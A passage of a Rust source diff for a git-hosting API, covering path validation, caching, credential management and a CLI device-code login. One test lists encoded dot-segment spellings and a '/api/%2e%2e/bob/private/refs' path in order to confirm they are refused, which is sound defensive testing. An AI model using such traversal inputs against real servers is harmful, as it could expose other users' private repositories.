bytes sent upstream are the bytes that were validated — no `/`, no `\`, +/// and no second spelling of a dot segment can survive. +pub(crate) fn encode(seg: &str) -> String { + let mut out = String::with_capacity(seg.len()); + for b in seg.bytes() { + if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') { + out.push(b as char); + } else { + out.push_str(&format!("%{b:02X}")); + } + } + out +} + +/// `/api/{owner}/{name}/{tail...}` with a query. +/// +/// Every segment is DECODED first and judged on the decoded value: comparing raw text against a +/// list of spellings does not work, because `url::Url::parse` (inside reqwest) strips `%2e%2e`, +/// `%2E.` and friends as well as a literal `..`, and turns `\` into `/` — so a path that looked +/// harmless here would be shortened into a different repo before it reached a git node. Empty, +/// `.`, `..`, or anything containing a separator is refused; nothing is ever normalised. +pub(crate) fn split_api_path(path: &str, query: Option<&str>) -> Option { + let rest = path.trim_start_matches('/').strip_prefix("api/")?; + let segs: Vec<&str> = rest.split('/').collect(); + if segs.len() < 3 { + return None; + } + let segs: Vec = segs.iter().map(|s| decode(s)).collect::>()?; + if segs.iter().any(|s| { + s.is_empty() || s == "." || s == ".." || s.contains('/') || s.contains('\\') || s.contains('#') + }) { + return None; + } + let (owner, name, tail) = (&segs[0], &segs[1], &segs[2..]); + // The repo half of the key must be a real repo name, or `alice/web:c` (invalid, always a 404 + // upstream) keys identically to `alice/web` with tail `c`. Nothing is cached under a 404 today, + // so this closes the class rather than a live bug — and saves the upstream round trip. + if !crate::store::valid_segment(owner) || !crate::store::valid_segment(name) { + return None; + } + let mut suffix = tail.iter().map(|s| escape(s)).collect::>().join(":"); + let encoded: Vec = tail.iter().map(|s| encode(s)).collect(); + let mut path = format!("/api/{}/{}/{}", encode(owner), encode(name), encoded.join("/")); + // The query is part of the key, so `log` pagination cannot serve page one for page two. A `#` + // in it is a FRAGMENT to `Url::parse` and never reaches upstream — the key and the request + // would diverge again, so it is refused rather than trimmed. + if let Some(q) = query.filter(|q| !q.is_empty()) { + if q.contains('#') { + return None; + } + suffix.push('?'); + suffix.push_str(q); + path.push('?'); + path.push_str(q); + } + Some(Parsed { repo: format!("{owner}/{name}"), suffix, path }) +} + +/// The token a client presented, Basic (git's own shape: `x:`) or Bearer. +pub(crate) fn bearer_or_basic(headers: &HeaderMap) -> Option { + crate::auth::bearer_token(headers) + .map(str::to_string) + .or_else(|| crate::auth::basic_token(headers)) +} + +pub(crate) use crate::auth::unauthorized; + +/// A private repo and a missing repo must be indistinguishable — including in their headers, so +/// this is built exactly as a forwarded 404 is. +pub(crate) fn not_found() -> Response { + body_response(StatusCode::NOT_FOUND, false, "", "not found".into()) +} + +/// Nothing downstream may keep a private answer. Public answers keyed by an object id are true +/// forever; public `refs` is only true for as long as the cache holds it. +pub(crate) fn cache_control(public: bool, suffix: &str) -> &'static str { + match (public, is_immutable_suffix(suffix)) { + (false, _) => "private, no-store", + (true, false) => "public, max-age=5", + (true, true) => "public, max-age=31536000, immutable", + } +} + +/// Only content-addressed answers may be cached immutable. These are exactly the `BROWSE_TAILS` +/// views (`src/http.rs`) that take an oid — `parse_oid` in `src/http/browse_api.rs` is what makes +/// them content-addressed. Everything else (`compare`, `refs`, `protect`, ...) resolves a branch +/// name and changes on every push; defaulting those to immutable is how a public repo ends up +/// serving a week-old diff. +pub(crate) fn is_immutable_suffix(suffix: &str) -> bool { + matches!( + suffix.split(':').next().unwrap_or(""), + "blob" | "tree" | "commit" | "log" | "files" | "lastmod" | "signature" + ) +} + +pub(crate) fn body_response( + status: StatusCode, + public: bool, + suffix: &str, + body: axum::body::Bytes, +) -> Response { + ( + status, + [ + (header::CACHE_CONTROL, cache_control(public, suffix)), + (header::CONTENT_TYPE, "application/json"), + ], + body, + ) + .into_response() +} + +impl Api { + /// Is this repo public? `None` means "cannot decide here", which sends the request upstream + /// where the repo database can answer. + async fn visibility(&self, repo: &str) -> Option { + match self.cache.get(repo, META).await.as_deref() { + Some(b"1") => Some(true), + Some(b"0") => Some(false), + _ => None, + } + } +} + +/// Who is browsing, expressed as the owner string the git nodes authorize against +/// (`auth::authorize` compares it to the repo's owner). `None` is anonymous. +/// +/// Two kinds of credential reach here and they are not interchangeable: +/// +/// * A GIT token — what `git clone` sends. It maps to exactly one owner, which +/// is the identity the fleet has always understood. +/// * A SESSION token — what the web app holds. Its subject is an email, which +/// means nothing to a git node: repos are owned by handles, and a person may +/// act under their own handle or any team they belong to. So the api tier +/// resolves the question it is uniquely able to answer — is this person a +/// member of THIS repo's owner? — and, when they are, presents them upstream +/// as that owner. +/// +/// Presenting as the owner is not an escalation: the api already holds the peer +/// secret, which grants a caller the right to be told any private repo's contents. +/// This narrows that blanket trust to the one namespace the caller belongs to. +pub(crate) async fn browse_caller( + api: &Api, + headers: &HeaderMap, + repo_owner: &str, +) -> std::result::Result, Response> { + let Some(token) = bearer_or_basic(headers) else { + // No credential is anonymous; a credential that does not decode is refused. The registry + // draws the same line for the same header, and a public listing must not blur it. + if rustic_git_core::httpx::basic_malformed(headers) { + return Err(unauthorized()); + } + return Ok(None); + }; + // A session token first, and only when it verifies: an unverifiable string is + // not treated as a session, it falls through to the git-token lookup, which is + // what `git clone` over Basic auth actually sends. + if let Some(jwt) = api.jwt.as_deref() { + if let Ok(claims) = jwt.verify(&token) { + let Some(db) = api.directory.as_deref() else { + // A session is presented but membership cannot be established, so + // the only honest answer is "no better than anonymous". + return Ok(None); + }; + return match may_act_under(db, &claims.sub, repo_owner).await { + Ok(true) => Ok(Some(repo_owner.to_string())), + Ok(false) => Ok(None), + Err(e) => { + tracing::error!(owner = %repo_owner, error = %e, "browse authorization"); + Err((StatusCode::INTERNAL_SERVER_ERROR, "internal error").into_response()) + } + }; + } + } + match api.store.owner_for_token(&token).await { + // A Basic username that does not name the token's owner did not verify: refuse it rather + // than fall through to anonymous. git's `x` placeholder carries no name and is allowed. + Ok(Some(o)) if crate::auth::basic_user_names(headers, &o, true) => Ok(Some(o)), + Ok(_) => Err(unauthorized()), + Err(e) => { + tracing::error!(error = %e, "token lookup"); + Err((StatusCode::INTERNAL_SERVER_ERROR, "internal error").into_response()) + } + } +} + + +pub(crate) async fn handle(State(api): State>, req: Request) -> Response { + let path = req.uri().path().to_string(); + let query = req.uri().query().map(str::to_string); + let Some(Parsed { repo, suffix, path }) = split_api_path(&path, query.as_deref()) else { + return not_found(); + }; + let owner_of_repo = repo.split('/').next().unwrap_or_default().to_string(); + let caller = match browse_caller(&api, req.headers(), &owner_of_repo).await { + Ok(c) => c, + Err(r) => return r, + }; + + // Serve from cache only when this caller is entitled to it without asking a git node. + if let Some(public) = api.visibility(&repo).await { + if !crate::auth::authorize(caller.as_deref(), &owner_of_repo, public) { + return if caller.is_none() { + unauthorized() + } else { + not_found() + }; + } + if let Some(body) = api.cache.get(&repo, &suffix).await { + return body_response(StatusCode::OK, public, &suffix, body.into()); + } + } + + // Read BEFORE the upstream call, and written back under THIS value: a purge landing while the + // request is in flight bumps the generation, so the write below lands in a generation nothing + // can reach rather than in the freshly emptied one. Only on the miss path. + // A backend error makes `generation` answer `None` rather than a real generation; the write + // below is then skipped entirely, never keyed under a wrong generation. + let generation = api.cache.generation(&repo).await; + // Rebuilt from the parsed segments, never from `req.uri()`: reqwest's URL parsing removes dot + // segments, so a raw path could authorize as one repo and be served as another. + let url = format!("{}{}", api.upstream, path); + let mut up = api + .client + .get(url) + .header(crate::proxy::PEER_HEADER, &api.secret); + if let Some(c) = &caller { + up = up.header(crate::proxy::OWNER_HEADER, c); + } + let r = match up.send().await { + Ok(r) => r, + Err(e) => { + tracing::error!(repo = %repo, error = %e, "upstream"); + return (StatusCode::BAD_GATEWAY, "upstream error").into_response(); + } + }; + let status = StatusCode::from_u16(r.status().as_u16()).unwrap_or(StatusCode::BAD_GATEWAY); + let body = match read_bounded(r).await { + Ok(b) => b, + Err(e) => { + tracing::error!(repo = %repo, error = %e, "upstream body"); + return (StatusCode::BAD_GATEWAY, "upstream error").into_response(); + } + }; + // An anonymous caller that upstream served is proof the repo is public; a rejected one proves + // nothing (private and missing look alike, deliberately). An authenticated caller proves + // nothing either way, so only the anonymous success writes the flag. + let public = caller.is_none() && status.is_success(); + // `generation` is `None` on a backend error: skip both writes rather than key them under a + // guessed generation, or a purged repo's pre-purge entries become reachable again. + if let Some(generation) = generation { + if public { + api.cache.put_at(generation, &repo, META, b"1", TTL_META).await; + } + // Only public bodies. An owner-authenticated read of a private repo is a success too, but + // a read can only reach a cached body through `META`, which only an anonymous success + // writes — so the entry would be unreachable by construction, buying nothing and risking + // everything. + if public && body.len() <= MAX_CACHED_BODY { + let ttl = if is_immutable_suffix(&suffix) { TTL_IMMUTABLE } else { TTL_REFS }; + api.cache.put_at(generation, &repo, &suffix, &body, ttl).await; + } + } + body_response(status, public, &suffix, body) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn p(path: &str, query: Option<&str>) -> Option<(String, String, String)> { + split_api_path(path, query).map(|p| (p.repo, p.suffix, p.path)) + } + + /// Catches: an unvalidated repo name, where `alice/web:c/tree/x` and `alice/web` + `c/tree/x` + /// produce the same cache key. + #[test] + fn a_repo_name_that_is_not_a_repo_name_is_refused() { + assert!(p("/api/alice/web:c/tree/x", None).is_none()); + assert!(p("/api/al ice/web/tree/x", None).is_none()); + assert!(p("/api/api/web/tree/x", None).is_some()); // owner reserved at create, not here + assert!(p("/api/alice/web/tree/x", None).is_some()); + } + + #[test] + fn a_browse_path_becomes_a_repo_a_key_and_the_path_to_forward() { + assert_eq!( + p("/api/alice/web/tree/abc/src", None), + Some(( + "alice/web".into(), + "tree:abc:src".into(), + "/api/alice/web/tree/abc/src".into() + )) + ); + // Pagination has to vary both the key and the forwarded path, or page two serves page one. + assert_eq!( + p("/api/alice/web/log/abc", Some("page=2")), + Some(( + "alice/web".into(), + "log:abc?page=2".into(), + "/api/alice/web/log/abc?page=2".into() + )) + ); + // Not browse routes: no tail, no name, not under /api/. + assert_eq!(p("/api/alice/web", None), None); + assert_eq!(p("/api/alice", None), None); + assert_eq!(p("/alice/web.git/info/refs", None), None); + } + + #[test] + fn a_dot_segment_is_refused_in_every_spelling() { + // `url::Url::parse`, inside reqwest, strips all of these — so a guard that compares raw + // text against `".."` alone lets the encoded spellings through, authorizing alice/web and + // fetching bob/private. + for seg in [ + "..", "%2e%2e", "%2E%2E", "%2e.", ".%2E", ".", "%2e", "%2E", "", "%2f", "%5C", + ] { + assert_eq!( + p(&format!("/api/alice/web/tree/{seg}/abc"), None), + None, + "segment {seg:?} must be refused" + ); + } + assert_eq!(p("/api/%2e%2e/bob/private/refs", None), None); + // A `#` in the query is a fragment to `Url::parse`: it would key one thing and request + // another. + assert_eq!(p("/api/alice/web/log/abc", Some("page=2#x")), None); + // A malformed escape is refused rather than guessed at. + assert_eq!(p("/api/alice/web/tree/%zz", None), None); + } + + #[test] + fn the_forwarded_path_is_the_path_that_was_validated() { + // Re-encoded from the DECODED segment, so nothing reqwest strips can survive the rebuild. + let (_, _, path) = p("/api/alice/web/tree/a%20b", None).unwrap(); + assert_eq!(path, "/api/alice/web/tree/a%20b"); + let (_, _, path) = p("/api/alice/web/tree/a:b", None).unwrap(); + assert_eq!(path, "/api/alice/web/tree/a%3Ab"); + } + + #[test] + fn distinct_paths_never_share_a_cache_entry() { + // `:` is the suffix separator, so a `:` inside a segment has to be escaped or two + // different upstream paths answer from one entry. + let two_segments = p("/api/alice/web/tree/a/b", None).unwrap(); + let one_colon = p("/api/alice/web/tree/a:b", None).unwrap(); + assert_ne!(two_segments.1, one_colon.1); + // Two spellings of the SAME segment are one request, so they share a key and a forwarded + // path — the alias that matters is two different requests colliding, not this. + let encoded_colon = p("/api/alice/web/tree/a%3Ab", None).unwrap(); + assert_eq!(one_colon, encoded_colon); + // `?` separates the query in the suffix grammar, and a decoded segment can now contain + // one: without escaping it, these two distinct requests share an entry and poison each + // other's answer. + assert_ne!( + p("/api/alice/web/tree/a%3Fpage=2", None).unwrap().1, + p("/api/alice/web/tree/a", Some("page=2")).unwrap().1 + ); + } + + #[test] + fn only_oid_keyed_tails_are_immutable() { + // branch-resolving reads change on every push — never immutable + assert!(!is_immutable_suffix("compare:base=main:head=dev")); + assert!(!is_immutable_suffix("protect")); + assert!(!is_immutable_suffix("refs")); + // an object addressed by oid is content-addressed — safe to pin + assert!(is_immutable_suffix("blob:3a5f...:README.md")); + assert!(is_immutable_suffix("tree:9c1e...")); + } + + #[test] + fn a_private_answer_is_never_cacheable_downstream() { + assert_eq!(cache_control(false, "tree:abc"), "private, no-store"); + assert_eq!(cache_control(false, "refs"), "private, no-store"); + assert_eq!(cache_control(true, "refs"), "public, max-age=5"); + assert_eq!( + cache_control(true, "tree:abc"), + "public, max-age=31536000, immutable" + ); + } +} diff --git a/crates/api/src/credentials.rs b/crates/api/src/credentials.rs new file mode 100644 index 00000000..7e54b123 --- /dev/null +++ b/crates/api/src/credentials.rs @@ -0,0 +1,1053 @@ +use super::*; + +// ── credentials ───────────────────────────────────────────────────────────── +// +// A credential acts in exactly ONE namespace, chosen when it is made, because +// that is what the git fleet enforces: `auth::authorize` compares the credential's +// owner to the repo's owner, with no membership lookup — the nodes have no +// directory. Scoping here to a namespace the caller belongs to keeps the two ends +// saying the same thing, and means a leaked laptop key cannot reach a team's repos +// unless it was made for them. + +use crate::directory::{CliLogin, Credential, CredentialKind}; + +#[derive(serde::Deserialize)] +pub(crate) struct NewCredential { + owner: String, + #[serde(default)] + name: String, + /// ssh keys only: the OpenSSH public key line. + #[serde(default)] + key: String, + /// Register this key for SIGNING rather than for access. The same key may be + /// added both ways; they are separate entries because they grant separate + /// things. + #[serde(default)] + signing: bool, +} + +/// A token, the one time it is readable. Everything else about it can be looked up +/// forever; the secret cannot, because only its digest is kept. +#[derive(serde::Serialize)] +#[serde(rename_all = "camelCase")] +pub(crate) struct IssuedToken { + token: String, + #[serde(flatten)] + meta: Credential, +} + +/// The caller, and their right to act in `owner`. Every credential route starts +/// here, so none of them can be reached for a namespace that is not the caller's. +pub(crate) async fn credential_caller<'a>( + api: &'a Api, + headers: &axum::http::HeaderMap, + owner: &str, +) -> std::result::Result<(String, &'a crate::directory::Directory), Response> { + // `user_identity`, not `caller`: managing your own credentials is exactly what the CLI is + // for, and this route pays for the revocation lookup a CLI token needs. + let user = user_identity(api, headers).await?.email; + let db = directory(api)?; + match may_act_under(db, &user, owner).await { + Ok(true) => Ok((user, db)), + Ok(false) => Err((StatusCode::NOT_FOUND, "no such owner").into_response()), + Err(e) => { + tracing::error!(owner = %owner, error = %e, "credential authorization"); + Err((StatusCode::BAD_GATEWAY, "could not read credentials").into_response()) + } + } +} + +/// `?owner=` for the list routes. +pub(crate) fn owner_param(q: &std::collections::HashMap) -> std::result::Result { + q.get("owner") + .map(|s| s.trim()) + .filter(|s| !s.is_empty()) + .map(str::to_string) + .ok_or_else(|| (StatusCode::BAD_REQUEST, "owner is required").into_response()) +} + +pub(crate) async fn create_token( + State(api): State>, + headers: axum::http::HeaderMap, + axum::Json(body): axum::Json, +) -> Response { + let owner = body.owner.trim().to_string(); + let (user, db) = match credential_caller(&api, &headers, &owner).await { + Ok(v) => v, + Err(r) => return r, + }; + let name = body.name.trim(); + if name.is_empty() { + return (StatusCode::BAD_REQUEST, "give the token a name").into_response(); + } + if name.chars().count() > 60 { + return (StatusCode::BAD_REQUEST, "that name is too long").into_response(); + } + + // The secret is created FIRST and the index second, so a crash between them + // leaves a working token nobody can see rather than a listed token that does + // not work. The unwind below closes that window in the ordinary case. + let token = match api.store.create_token(&owner).await { + Ok(t) => t, + Err(e) => { + tracing::error!(owner = %owner, error = %e, "create token"); + return (StatusCode::BAD_GATEWAY, "could not create the token").into_response(); + } + }; + let meta = Credential { + id: crate::store::Store::token_digest(&token), + kind: CredentialKind::Token, + owner: owner.clone(), + created_by: user, + name: name.to_string(), + material: String::new(), + fingerprints: Vec::new(), + created_at: mongodb::bson::DateTime::now(), + }; + match db.add_credential(&meta).await { + Ok(Some(())) => {} + // A digest collision is not a thing that happens; treat it as our failure. + Ok(None) | Err(_) => { + if let Err(e) = api.store.revoke_token_digest(&meta.id).await { + tracing::warn!(error = %e, "unwinding token"); + } + return (StatusCode::BAD_GATEWAY, "could not create the token").into_response(); + } + } + // The only time the token is ever readable. + (StatusCode::CREATED, axum::Json(IssuedToken { token, meta })).into_response() +} + +pub(crate) async fn list_tokens( + State(api): State>, + headers: axum::http::HeaderMap, + axum::extract::Query(q): axum::extract::Query>, +) -> Response { + let owner = match owner_param(&q) { + Ok(o) => o, + Err(r) => return r, + }; + let (_, db) = match credential_caller(&api, &headers, &owner).await { + Ok(v) => v, + Err(r) => return r, + }; + match db.credentials_for(&owner, CredentialKind::Token).await { + Ok(list) => axum::Json(list).into_response(), + Err(e) => { + tracing::error!(owner = %owner, error = %e, "list tokens"); + (StatusCode::BAD_GATEWAY, "could not list tokens").into_response() + } + } +} + +/// Revoke by id. The index is deleted LAST: if the object delete fails the +/// credential stays listed and revocable, which is the safe direction — a listed +/// token that still works can be revoked again, an unlisted one that still works +/// cannot be revoked at all. +pub(crate) async fn revoke_token( + State(api): State>, + headers: axum::http::HeaderMap, + axum::extract::Path(id): axum::extract::Path, +) -> Response { + revoke(api, headers, id, CredentialKind::Token).await +} + +pub(crate) async fn remove_key( + State(api): State>, + headers: axum::http::HeaderMap, + axum::extract::Path(id): axum::extract::Path, +) -> Response { + revoke(api, headers, id, CredentialKind::SshKey).await +} + +/// Push the owner's keys out to their workspaces, off the request path: the rows are already +/// written (or forgotten), so the answer does not depend on a cluster this tier only nudges. +fn spawn_keys_changed(api: &Arc, owner: &str) { + let Some(hook) = api.on_keys_changed.clone() else { return }; + let owner = owner.to_string(); + tokio::spawn(async move { hook(owner).await }); +} + +pub(crate) async fn revoke( + api: Arc, + headers: axum::http::HeaderMap, + id: String, + kind: CredentialKind, +) -> Response { + // `user_identity`, not `caller`: revoking your own key or your own login is exactly what + // the CLI is for. Nothing weakens — authorization below is against `found.owner`, not + // against how the caller proved who they are. + let user = match user_identity(&api, &headers).await { + Ok(i) => i.email, + Err(r) => return r, + }; + let db = match directory(&api) { + Ok(d) => d, + Err(r) => return r, + }; + let found = match db.credential(&id).await { + Ok(Some(c)) if c.kind == kind => c, + // A credential of the wrong kind is reported as missing rather than as a + // mistake: the id space is shared, and saying "that is an ssh key" tells a + // caller something about a credential that may not be theirs. + Ok(_) => return (StatusCode::NOT_FOUND, "no such credential").into_response(), + Err(e) => { + tracing::error!(error = %e, "revoke lookup"); + return (StatusCode::BAD_GATEWAY, "could not revoke").into_response(); + } + }; + // Authorized against the credential's OWNER, never against holding its id. + match may_act_under(db, &user, &found.owner).await { + Ok(true) => {} + Ok(false) => return (StatusCode::NOT_FOUND, "no such credential").into_response(), + Err(e) => { + tracing::error!(error = %e, "revoke authorization"); + return (StatusCode::BAD_GATEWAY, "could not revoke").into_response(); + } + } + let gone = match kind { + CredentialKind::Token => api.store.revoke_token_digest(&id).await, + CredentialKind::SshKey => api.store.remove_ssh_key(&id).await, + // Neither a signing key nor a CLI login was ever written to the store the fleet + // reads — a CLI token is a signed JWT and is only honoured while its row exists. + // Forgetting the row is the whole of it. + CredentialKind::SigningKey | CredentialKind::CliToken => Ok(()), + }; + if let Err(e) = gone { + tracing::error!(error = %e, "revoke"); + return (StatusCode::BAD_GATEWAY, "could not revoke").into_response(); + } + if let Err(e) = db.forget_credential(&id).await { + // The credential no longer works, which is what was asked for. It will + // linger in the list until the next attempt succeeds. + tracing::warn!(credential = %id, error = %e, "forget credential"); + } + // AFTER the row is gone: the hook re-reads the owner's keys, and running it first would write + // back the very key that was just revoked. + if kind == CredentialKind::SshKey { + spawn_keys_changed(&api, &found.owner); + } + StatusCode::NO_CONTENT.into_response() +} + +/// The fingerprint of an OpenSSH public key line, or an error naming what is wrong with it. +/// The production `ssh_fingerprint` (a test-only twin lives in `tests/common`): the only consumer in +/// this crate, and duplicating eight lines is cheaper than adding a shared axum-free home for a +/// function that needs `russh` only here. +fn ssh_fingerprint(line: &str) -> crate::Result { + let key = russh::keys::PublicKey::from_openssh(line.trim()) + .map_err(|_| crate::err("that does not look like an OpenSSH public key"))?; + Ok(key.fingerprint(russh::keys::HashAlg::Sha256).to_string()) +} + +/// The credential id and the fingerprints an ssh SIGNING key answers to. Kept beside `add_key` +/// and used by it, so a test can build exactly the row registration writes. +pub(crate) fn ssh_signing_fingerprints(key_line: &str) -> crate::Result<(String, Vec)> { + let f = ssh_fingerprint(key_line)?; + // Lowercased: `signer_by_any` lowercases what a signature presents and Mongo's `$in` is an + // exact match, while `SHA256:` is mixed case. Stored as-is, no ssh signature ever + // found its key. The id keeps the original spelling — it is only ever matched by itself. + Ok((f.clone(), vec![f.to_lowercase()])) +} + +/// What is stored as a credential's material. +/// +/// A GPG key keeps its armour verbatim — verification needs the bytes. An ssh key keeps its +/// public line because `authorized_keys` needs it: a fingerprint is one-way, so a key added +/// before this shipped can never be written into a workspace and has to be re-added. +/// +/// Normalized to the first three whitespace fields — type, base64, comment — so a pasted line +/// with trailing options or stray whitespace cannot smuggle anything into `authorized_keys`, +/// where a leading field is `command=`/`from=` and changes what the key can do. +fn key_material(key: &str, is_gpg: bool) -> String { + if is_gpg { + return key.to_string(); + } + key.split_whitespace().take(3).collect::>().join(" ") +} + +/// One `authorized_keys` line per access key the owner has. +/// +/// Keys registered before material was kept contribute nothing — there is no way back from a +/// fingerprint — so they are skipped rather than emitted as a blank line, which sshd would +/// read as a syntax error and refuse the whole file over. +fn authorized_keys_lines(keys: &[Credential]) -> String { + keys.iter() + .map(|c| c.material.trim()) + .filter(|m| !m.is_empty()) + .collect::>() + .join("\n") +} + +/// The `authorized_keys` file for an owner: every ssh key they have registered for access. +pub async fn authorized_keys_for(db: &crate::directory::Directory, owner: &str) -> crate::Result { + let keys = db.credentials_for(owner, CredentialKind::SshKey).await?; + Ok(authorized_keys_lines(&keys)) +} + +/// `(name, email)` for git to commit as inside the owner's workspaces. A handle that is not a +/// person's (never claimed) gets empty strings: git then asks, which is the right answer. +pub async fn git_identity_for(db: &crate::directory::Directory, owner: &str) -> crate::Result<(String, String)> { + Ok(db.user_by_handle(owner).await?.map(|u| (u.name, u.email)).unwrap_or_default()) +} + +pub(crate) async fn add_key( + State(api): State>, + headers: axum::http::HeaderMap, + axum::Json(body): axum::Json, +) -> Response { + let owner = body.owner.trim().to_string(); + let (user, db) = match credential_caller(&api, &headers, &owner).await { + Ok(v) => v, + Err(r) => return r, + }; + // An armoured OpenPGP block is a signing key and nothing else — it cannot + // authenticate an ssh connection, so it is only accepted for signing. + let is_gpg = body.key.contains("BEGIN PGP PUBLIC KEY BLOCK"); + if is_gpg && !body.signing { + return ( + StatusCode::BAD_REQUEST, + "a GPG key can only be added as a signing key", + ) + .into_response(); + } + + // Parsed before anything is written, so a malformed key is a 400 rather than a + // row describing a key the fleet never accepted. + let (fingerprint, fingerprints) = if is_gpg { + match crate::gpg::fingerprints_of(&body.key) { + // The primary key names the credential; every subkey is indexed, so a + // signature made by one finds its owner without a scan. + Ok(all) if !all.is_empty() => (all[0].clone(), all), + _ => return (StatusCode::BAD_REQUEST, "that is not an OpenPGP public key").into_response(), + } + } else { + match ssh_signing_fingerprints(&body.key) { + Ok(v) => v, + Err(e) => return (StatusCode::BAD_REQUEST, e.to_string()).into_response(), + } + }; + // The comment at the end of the key line, when they did not name it — which is + // usually `user@machine` and is exactly what they would have typed. + let name = match body.name.trim() { + "" if is_gpg => crate::gpg::emails_of(&body.key) + .ok() + .and_then(|e| e.first().cloned()) + .unwrap_or_else(|| "GPG key".to_string()), + "" => body.key.split_whitespace().nth(2).unwrap_or("ssh key").to_string(), + n => n.to_string(), + }; + + let meta = Credential { + // Prefixed, so one key registered for both purposes is two rows. + id: if body.signing { format!("sign:{fingerprint}") } else { fingerprint.clone() }, + kind: if body.signing { CredentialKind::SigningKey } else { CredentialKind::SshKey }, + owner: owner.clone(), + created_by: user, + name, + material: key_material(&body.key, is_gpg), + fingerprints, + created_at: mongodb::bson::DateTime::now(), + }; + // Index first here, unlike a token: the id is the key's own fingerprint rather + // than a fresh secret, so the insert is what makes "already added" detectable. + match db.add_credential(&meta).await { + Ok(Some(())) => {} + Ok(None) => return (StatusCode::CONFLICT, "that key is already added").into_response(), + Err(e) => { + tracing::error!(owner = %owner, error = %e, "add key"); + return (StatusCode::BAD_GATEWAY, "could not add the key").into_response(); + } + } + // Only an ACCESS key goes to the store the git nodes authenticate against. A + // signing key there would silently grant push rights to anyone who added a key + // to prove authorship. + // An access key is also the only kind that lands in a workspace's `authorized_keys` — a + // signing key proves authorship and opens no connection. + if !body.signing && !is_gpg { + if let Err(e) = api.store.add_ssh_key(&owner, &fingerprint).await { + let _ = db.forget_credential(&meta.id).await; + tracing::error!(owner = %owner, error = %e, "add key"); + return (StatusCode::BAD_GATEWAY, "could not add the key").into_response(); + } + spawn_keys_changed(&api, &owner); + } + (StatusCode::CREATED, axum::Json(meta)).into_response() +} + +pub(crate) async fn list_keys( + State(api): State>, + headers: axum::http::HeaderMap, + axum::extract::Query(q): axum::extract::Query>, +) -> Response { + let owner = match owner_param(&q) { + Ok(o) => o, + Err(r) => return r, + }; + let (_, db) = match credential_caller(&api, &headers, &owner).await { + Ok(v) => v, + Err(r) => return r, + }; + let kind = match q.get("kind").map(String::as_str) { + Some("signing") => CredentialKind::SigningKey, + _ => CredentialKind::SshKey, + }; + match db.credentials_for(&owner, kind).await { + Ok(list) => axum::Json(list).into_response(), + Err(e) => { + tracing::error!(owner = %owner, error = %e, "list keys"); + (StatusCode::BAD_GATEWAY, "could not list keys").into_response() + } + } +} + + +// ── the CLI login handshake ───────────────────────────────────────────────── +// +// The device-code flow, because the CLI cannot receive a redirect and must not ever see a +// password: it asks for a code, the person types that code into a page they are already signed +// in to, and the CLI polls until a token appears. Nothing the CLI holds before approval is +// worth anything, so `/v1/cli/code` needs no credentials at all. + +/// How long an unapproved code is worth typing in. +const CLI_CODE_TTL: std::time::Duration = std::time::Duration::from_secs(600); + +/// No vowels (so a code cannot spell anything) and no `0/O/1/I` (so it cannot be mistyped) — +/// this gets read off one screen and typed into another. +const CODE_ALPHABET: &[u8] = b"BCDFGHJKLMNPQRSTVWXYZ23456789"; + +#[derive(serde::Deserialize)] +pub(crate) struct DeviceCodeRequest { + #[serde(default)] + device: String, +} + +#[derive(serde::Serialize)] +#[serde(rename_all = "camelCase")] +pub(crate) struct DeviceCode { + code: String, + poll: String, + expires_in: u64, +} + +fn random_code() -> String { + use rand::Rng; + let mut rng = rand::thread_rng(); + // `gen_range`, not `% len`: 256 does not divide 29, so the modulo would make the first + // few letters likelier than the rest. + let raw: Vec = + (0..8).map(|_| CODE_ALPHABET[rng.gen_range(0..CODE_ALPHABET.len())] as char).collect(); + format!("{}-{}", raw[..4].iter().collect::(), raw[4..].iter().collect::()) +} + +/// Anonymous: this is what a machine with no credentials asks for, and it grants nothing. +/// +/// Answers `{ code, poll, expiresIn }` — `expiresIn` in SECONDS, the one duration on these +/// routes, so it is a number where every instant is an RFC3339 string. +pub(crate) async fn cli_code( + State(api): State>, + axum::Json(body): axum::Json, +) -> Response { + let device = match body.device.trim() { + "" => "a computer".to_string(), + d => d.chars().take(60).collect(), + }; + let code = random_code(); + let poll = crate::hex(&rand::random::<[u8; 16]>()); + // A row, not memory: the api has more than one replica, and the browser that approves this + // code is routed independently of the CLI that asked for it. + // ponytail: the route is anonymous and nothing caps how many rows a flood can write in ten + // minutes; a per-IP cap is the upgrade, and wants the ingress's real client address to be + // trustworthy first. + let db = match directory(&api) { + Ok(d) => d, + Err(r) => return r, + }; + let row = CliLogin { + code: code.clone(), + poll: poll.clone(), + device, + expires_at: mongodb::bson::DateTime::from_millis( + mongodb::bson::DateTime::now().timestamp_millis() + CLI_CODE_TTL.as_millis() as i64, + ), + token: None, + token_exp: 0, + }; + if let Err(e) = db.create_cli_login(&row).await { + tracing::error!(error = %e, "recording cli login code"); + return (StatusCode::BAD_GATEWAY, "could not start a login").into_response(); + } + ( + StatusCode::CREATED, + axum::Json(DeviceCode { code, poll, expires_in: CLI_CODE_TTL.as_secs() }), + ) + .into_response() +} + +#[derive(serde::Deserialize)] +pub(crate) struct ApproveRequest { + #[serde(default)] + code: String, +} + +/// Approve a code, in the browser, as the person the token will belong to. +/// +/// A browser SESSION only — `identify`, not `user_identity`: a CLI token that could approve +/// another would let one leaked login mint fresh ones forever, outliving its own revocation. +pub(crate) async fn cli_approve( + State(api): State>, + headers: axum::http::HeaderMap, + axum::Json(body): axum::Json, +) -> Response { + let who = match identify(&api, &headers) { + Ok(i) => i, + Err(r) => return r, + }; + // The person types it; case and the dash are theirs to get wrong. + let code = body.code.trim().to_uppercase(); + let Some(username) = who.username.filter(|u| !u.trim().is_empty()) else { + return (StatusCode::BAD_REQUEST, "pick a handle before signing in from the CLI").into_response(); + }; + let jwt = match api.jwt.as_deref() { + Some(j) => j, + None => return (StatusCode::SERVICE_UNAVAILABLE, "tokens not configured").into_response(), + }; + + let db = match directory(&api) { + Ok(d) => d, + Err(r) => return r, + }; + let device = match db.cli_login_pending(&code).await { + Ok(Some(p)) => p.device, + // Already approved, expired or never issued all look the same from here: a wrong + // code must not tell a guesser that some other code exists. + Ok(None) => return (StatusCode::NOT_FOUND, "no such code").into_response(), + Err(e) => { + tracing::error!(error = %e, "looking up cli login code"); + return (StatusCode::BAD_GATEWAY, "could not sign you in").into_response(); + } + }; + + let (token, claims) = match jwt.mint_cli(&who.email, who.name.as_deref().unwrap_or_default(), Some(&username)) { + Ok(v) => v, + Err(e) => { + tracing::error!(error = %e, "mint cli token"); + return (StatusCode::BAD_GATEWAY, "could not sign you in").into_response(); + } + }; + // The row is written BEFORE the token is 